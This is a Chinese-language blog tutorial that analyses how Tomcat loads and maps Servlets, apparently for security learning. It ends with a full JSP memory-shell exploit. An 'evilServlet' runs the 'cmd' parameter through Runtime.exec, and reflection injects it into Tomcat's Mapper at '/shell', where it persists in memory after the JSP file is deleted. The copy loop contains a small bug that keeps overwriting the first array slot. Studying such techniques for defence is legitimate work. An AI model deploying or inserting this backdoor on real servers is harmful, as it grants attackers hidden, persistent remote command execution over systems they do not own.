参考文章:

https://goodapple.top/archives/1355

https://su18.org/post/memory-shell/

https://xz.aliyun.com/t/13024

Servlet的启动

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。这句话可以从代码层面理解一下。在上篇提到过JspServlet =>org.apache.jasper.servlet.JspServlet。接着上一篇的tomcat流程分析写,最后说到StandardWrapper的初始化,在初始化之后还会去加载Servlet,在StandardContext.startInternal()中的4932行代码:

image-20240419164955118

在loadOnStartup方法中会通过load方法加载已经初始化的Servlet(defaultServlet+JSPServlet),在这里只会初始化在xml中配置了load-on-startup参数的servlet,在这里只有defaultServlet和JSPServlet,这里预先只会启动这两个Servlet。

image-20240419165621373

load-on-startup 元素指示在启动 Web 应用程序时应加载(实例化并调用其 init())此 servlet。这些元素的可选内容必须是一个整数,指示应加载 Servlet 的顺序。如果该值为负整数,或者元素不存在,则容器可以随时自由加载 Servlet。如果该值为正整数或 0,则容器必须在部署应用程序时加载并初始化 Servlet。容器必须保证在标有较高整数的 Servlet 之前加载标有较低整数的 Servlet。容器可以选择具有相同启动时加载值的 servlet 的加载顺序。

那么其他的Servlet是什么时候启动的呢?

如果是第一次访问这个Servlet会将该其进行实例化并加到instancePool中,第二次访问会直接调用pool中的Servlet实例,一个Wrapper对应着一个Servlet。

解析请求发生在org.apache.catalina.connector.CoyoteAdapter#postParseRequest这个方法中,解析请求之后结果会保存在request.mappingData

image-20240423195535271

解析是通过Mapper.map()方法进行解析的,该方法会进一步调用org.apache.catalina.mapper.Mapper#internalMap进行解析

image-20240423195841407

解析之后就会找到对应的Servlet,然后tomcat通过责任链的方式进行加载Servlet

image-20240423200124139

然后下面就进入了pipeline中,找到一篇讲的pipeline还算清楚的文章:https://www.cnblogs.com/coldridgeValley/p/5816414.html,网上关于这块的介绍也很多,有兴趣的话可以下来自行了解一下

image-20240423201131355

pipeline的具体实现类似于一个链表,每一个pipeline中至少有一个valve,执行完一个valve会调用getNext获取下一个valve,然后回一层一层调下去就像上图一样。

org.apache.catalina.core.StandardWrapper#allocate

image-20240423202723206

分配此 Servlet 的初始化实例,该实例已准备好调用其 service() 方法。如果 servlet 类未实现SingleThreadModel,则可以立即返回(仅)初始化的实例。如果 servlet 类实现SingleThreadModel,则 Wrapper 实现必须确保在调用 deallocate() 解除分配之前不会再次分配此实例。

instance保存的就是Servlet的实例,一开始的时候,因为没有配置web.xml中的load-on-startup所以不会随着Tomcat启动而启动,只会在用户第一次访问的时候通过loadServlet()加载Servlet

image-20240423203106141

之后会调用org.apache.tomcat.InstanceManager#newInstance(java.lang.String)去实例化Servlet,是根据wrapper.servletClass这个属性去找到对应的类并实例化,这个属性的类型是String

image-20240423203444567

然后回进行Servlet的初始化和加载

image-20240423203707135

之后就返回了servlet的实例,紧接着会调用Servlet.service()方法构造response

image-20240423204904515

Servlet.service()会调用父类javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse),然后在这个方法里会判断请求的方法,并调用对应Servlet.doxxx()方法。

image-20240423205141264

Servlet内存马

上面大概介绍了一下Servlet加载的流程,此时完成一个Servlet内存马,很明确的是要创建一个Wrapper,并且Wrapper指向的是我们恶意的Servlet

这里就有几个问题需要继续弄明白:Wrapper是存放在Context中的哪个变量中?Wrapper是如何做到与Servlet一一对应的?添加Servlet的具体是哪一个方法?

servlet加载详细分析

首先会确定host

image-20240423212540038

然后就是通过urihost.contextList.contexts进行比较,最后将找到的context赋值给mappingData.context,而Wrapper就保存在context.children属性里

image-20240424121044685

向其中添加值就使用对应的方法addChild()便可以,要么就是获取到这个children使用put()添加

直接使用addChild添加可以添加成功,但是会报错:

image-20240424131527228

可以看到HashMap的key为null,跟一下代码看看这个key与什么有关

image-20240424131543883

最后在ContainerBase中可以看到,所以在添加的时候应该将Name设置一下(使用反射或者他自己的SetName都可以)

image-20240424131857466

当然这是自己实现的思路,可以看看tomcat是如何创建Wrapper的:

image-20240424132652382

context还有一个createWrapper方法,在createWrapper方法里其实也是调用了new StandardWrapper(),之后又调用了wrapper.setName(),将其设置为Servlet的name

上面的内容是context添加Wrapper,接下来看一下Wrapper是如何与Servlet关联起来的

image-20240424133430460

wrapper中有一个setServletClass,传入servletClass对象,在上文Servlet的启动中也可以看到load()方法中传入的是servletClass,这里需要注意一下

上面分析的是构造好的Servlet应该放在哪里,那解析的规则应该放在哪里呢?

解析URL的时候wrapper到底是如何被选择出来的?在构造内存马时,我们应该在哪里添加对应的URL解析?

在上面Servlet启动时说了org.apache.catalina.connector.CoyoteAdapter#postParseRequest这个方法负责解析,跟进方法后,会调用到org.apache.catalina.mapper.Mapper#map

image-20240426151327702

map方法里又会调用到org.apache.catalina.mapper.Mapper#internalMap

image-20240426151429189

org.apache.catalina.mapper.Mapper#internalMap()之后会调用到org.apache.catalina.mapper.Mapper#internalMapWrapper()这个方法中,wrapper就是在这个方法中被匹配到的

可以看到在进入方法前属性wrappernull

image-20240426151825843

经过这个方法之后mappingData.wrapper就找到了,具体的匹配规则一定在这里

image-20240424211413183

exactWrappers是传入的一个参数,在其中保存着对应context中的wrapper(除了defaultServlet和jspServlet),

image-20240426152105753

exactWrappers中name就是对应的url解析地址,而object就是对应的wrapper

image-20240426152647998

下面则是具体的实现细节,不去做过多解释

image-20240426152828978

image-20240426152845813

image-20240426152913302

所以我构建内存马的思路也很清晰了,就是要在这个exactWrappers中添加新的成员(Mapper$MappedWrapper MappedWrapper是Mapper的子类)即可,接下来就是看如何在jsp文件中找到exactWrappers

image-20240426153454357

而Mapper是在tomcat在运行的时候就已经生成了,等网站部署好的时候Mapper已经生成好了,如果想修改只能通过反射获取之后改变他的值。当然也有其他更简单的方法,稍后再说。

构建内存马

其实就两步:1.构造一个StandardWrapper,并将wrapperinstance指向我们恶意的servlet对象,可以调用wrapper.setServlet()去实现。然后将wrapper添加到context下,调用context.addChild()。2.添加url解析,找到可以获取到Mapper的地方,通过反射修改他的值。

下面应该开始构建内存马了,那我们应该如何获取Mapper呢?在jsp文件中我们能操控的对象有javax.servlet.http.HttpServletRequestjavax.servlet.http.HttpServletResponse

最后我找到的一条链是这个req.request.mappingData.context.children

image-20240426155139983

选择mappingData还有一个就是因为他是可以直接获取到当前context的,因为一个Host可能有多个context,而mappingData保存的是经过解析后的结果,所以context是确定的。

另外获取connector的一条链是

image-20240426155938092

这样就都准备好了,下面就是用反射写代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// 这个代码不具备普适性,是自己瞎写的,可以在此基础上改进,因为懒所以不写了,比如访问之后返回host+context+shell 这个地址,这样就不用指定context注入了,也可以注入多个context目录
<%--
Created by IntelliJ IDEA.
User: lucifer
Date: 2024/4/24
Time: 16:11
To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="java.util.Objects" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.catalina.Service" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field mpF = req.getClass().getDeclaredField("mappingData");
mpF.setAccessible(true);
MappingData mappingData =(MappingData) mpF.get(req);
%>

<%!
public class evilServlet implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (!Objects.equals(cmd, "")){
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
PrintWriter writer = servletResponse.getWriter();
while ((line = bufferedReader.readLine()) != null){
writer.write(line);
}
writer.flush();
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}
%>

<%
evilServlet evil = new evilServlet();
StandardWrapper wrapper = new StandardWrapper();
wrapper.setName("evilServlet");
// 设置wrapper.instance 就是servlet的实例
wrapper.setServlet(evil);
mappingData.context.addChild(wrapper);
Field connectorF = req.getClass().getDeclaredField("connector");
connectorF.setAccessible(true);
Connector connector = (Connector) connectorF.get(req);

Field serviceF = connector.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
Service service = (Service) serviceF.get(connector);

Field mapperF = service.getClass().getDeclaredField("mapper");
mapperF.setAccessible(true);
Mapper mapper = (Mapper) mapperF.get(service);


Field hostsF = mapper.getClass().getDeclaredField("hosts");
hostsF.setAccessible(true);
Object[] objects = (Object[]) hostsF.get(mapper);
for (Object o : objects){
Field contextListF = o.getClass().getDeclaredField("contextList");
contextListF.setAccessible(true);
Object contextList = (Object) contextListF.get(o);
Field contextsF = contextList.getClass().getDeclaredField("contexts");
contextsF.setAccessible(true);
Object[] contextobjects = (Object[]) contextsF.get(contextList);
for (Object contextobject : contextobjects){
Field contextNameF = contextobject.getClass().getSuperclass().getDeclaredField("name");
contextNameF.setAccessible(true);
String contextName = (String) contextNameF.get(contextobject);
if (contextName.equals("/JavaStudy_war_exploded")){
Field versionF = contextobject.getClass().getDeclaredField("versions");
versionF.setAccessible(true);
Object[] versionObjects = (Object[]) versionF.get(contextobject);
if (versionObjects.length != 0){
for (Object versionObject : versionObjects){
Field pathF = versionObject.getClass().getDeclaredField("path");
pathF.setAccessible(true);
String path= (String) pathF.get(versionObject);
if (path.equals("/JavaStudy_war_exploded")){
Field exactWrappersF = versionObject.getClass().getDeclaredField("exactWrappers");
exactWrappersF.setAccessible(true);
Object[] exactWrappersObjects = (Object[]) exactWrappersF.get(versionObject);
int listLength = exactWrappersObjects.length;
Object[] newExactWrappersObjects = (Object[]) Array.newInstance(exactWrappersObjects.getClass().getComponentType(), listLength + 1);
for (Object exactWrapperObject:exactWrappersObjects){
int index = 0;
newExactWrappersObjects[index] = exactWrapperObject;
}
Constructor<?> mappedWrapperConstructor = newExactWrappersObjects.getClass().getComponentType().getDeclaredConstructor(String.class, Wrapper.class, boolean.class, boolean.class);
mappedWrapperConstructor.setAccessible(true);
Object evilMappedWrapper = (Object) mappedWrapperConstructor.newInstance("/shell",wrapper,false,false);
newExactWrappersObjects[listLength] = evilMappedWrapper;
exactWrappersF.set(versionObject,newExactWrappersObjects);
System.out.println(versionObject);
}
}
}
}
}
}


%>

<html>
<head>
<title>Title</title>
</head>
<body>

</body>
</html>

演示一下效果:

在没有访问写好的内存马jsp之前,是访问不到的,因为没有这个Servlet

image-20240426160236001

image-20240426160344939

这时再去访问shell

image-20240426160421643

可以看到已经成功出现结果,这时即使将恶意的jsp文件删除了,也能够访问到这个servlet,因为他已经被写入内存里了,就是上面分析的那几个变量中。